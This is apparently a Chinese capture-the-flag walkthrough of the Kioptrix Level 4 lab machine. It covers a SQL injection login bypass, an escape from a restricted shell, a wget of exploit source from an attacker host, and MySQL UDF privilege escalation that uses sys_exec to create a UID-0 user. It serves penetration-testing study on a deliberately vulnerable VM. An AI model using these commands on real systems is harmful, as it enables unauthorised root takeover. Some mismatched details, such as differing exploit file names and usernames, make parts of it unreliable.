当前位置: 首页 > article >正文

打靶日记Kioptix Level 4

一、探测靶机IP(进行信息收集)

nmap -sS -sV -T4 192.168.253.0/24 -A 

在这里插入图片描述

二、进入搜索界面进行信息收集

进入页面尝试信息收集,发现登录框,尝试万能密码

在这里插入图片描述

’ or 1='1

在这里插入图片描述

三、搜索网站隐藏目录和文件

dirsearch -u http://192.168.253.140

目录扫描的时候发现了database.sql,进去看看

在这里插入图片描述

发现账号和密码 john 1234

在这里插入图片描述

尝试后发现是错的

在这里插入图片描述

有了用户名,再次去尝试注入,发现得到正确的账号密码

在这里插入图片描述

得到密码

MyNameIsJohn

四、反弹shell

与Kioptix Level 3一致

在这里插入图片描述

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1\
 -oHostKeyAlgorithms=+ssh-rsa\
 -oCiphers=+aes256-cbc\
 john@192.168.253.140

登录进去后发现是一个受限shell环境

尝试逃逸

echo os.system('/bin/bash')

在这里插入图片描述

逃逸成功

然后再查看版本号搜集信息

uname -a 
lsb_release -a

在这里插入图片描述

尝试脏牛提权,但是失败了

searchsploit -m 40839.c
cd /tmp
wget http://192.168.253.129:8000/37292.c

在这里插入图片描述

查看进程,发现使用了mysql

ps aux

在这里插入图片描述

五、mysql进行UDF提权

cd /var/www    #因为nmap扫描知道了是apache,所以web默认站点目录是这个

在这里插入图片描述

发现用户名为root,密码为空

mysql登录

mysql -u root -p

查看版本

SELECT VERSION();

在这里插入图片描述

查看当前用户的权限信息

SHOW GRANTS FOR CURRENT_USER();

在这里插入图片描述

GRANT ALL PRIVILEGES ON . 表示该用户对所有数据库(*)的所有表(*)拥有全部操作权限(如查询、修改、删除等);WITH GRANT OPTION 表示该用户还具备将自身权限授予其他用户的能力

UDF提权原理(原文链接)

UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。

使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。

首先看下函数库里面有没有可以执行系统命令的函数

select * from mysql.func;

在这里插入图片描述

利用 sys_exec()函数将john用户添加到管理员组

sys_exec():这是MySQL提供的内置函数,允许用户在数据库中执行系统命令。这个函数会返回一个整数值,表示命令的执行结果。使用这个函数执行系统命令需要具有相应的权限

SELECT sys_exec('useradd -ou 0 -g 0 yzy');
  • useradd 是用于创建新用户的命令。

  • -o 选项允许创建具有重复 UID(用户标识符)的用户。

  • -u 0 表示将新用户的 UID 设置为 0,在 Linux 系统中,UID 为 0 的用户是超级用户(root)。

  • -g 0 表示将新用户的初始用户组 GID(组标识符)设置为 0,GID 为 0 的组是 root 组。

  • hacker 是要创建的新用户的用户名。

SELECT sys_exec('echo "yzy:123" | chpasswd');
  • echo "hacker:password" 用于输出字符串 "hacker:password",其中 hacker 是用户名,password 是要设置的密码。

  • | 是管道符号,用于将前一个命令的输出作为后一个命令的输入。

  • chpasswd 是一个用于批量修改用户密码的命令,它会从标准输入读取用户名和密码的组合(格式为 用户名:密码),并为相应的用户设置新密码。

在这里插入图片描述

提权成功

在这里插入图片描述


http://www.kler.cn/a/587048.html

相关文章:

  • vue项目如何实现条件查询?
  • 贪吃蛇小游戏-简单开发版
  • 【实战ES】实战 Elasticsearch:快速上手与深度实践-附录-2-性能调优工具箱
  • 路由器和网关支持边缘计算
  • 无需归一化的Transformers:神经网络设计的突破
  • 单元测试、系统测试、集成测试
  • MySQL数据库知识总结
  • Java 大视界 -- Java 大数据在智能金融资产定价与风险管理中的应用(134)
  • install of jenkins-2.501-1.1.noarch conflicts with file
  • 【redis】hash 类型应用场景
  • 面试系列|蚂蚁金服技术面【2】
  • The workbook already contains a sheet named
  • docker 增加镜像(忘记什么bug了)
  • Linux下的正则表达式应用与sed、printf、awk等命令的使用
  • 大模型架构全景解析:从Transformer到未来计算范式
  • Java 大视界 -- Java 大数据中的异常检测算法在工业物联网中的应用与优化(133)
  • 介绍一下 VexRiscv
  • Stable Diffusion 模型具体如何设置参数?
  • conda更新后出现bug
  • 【HTML】二、列表、表格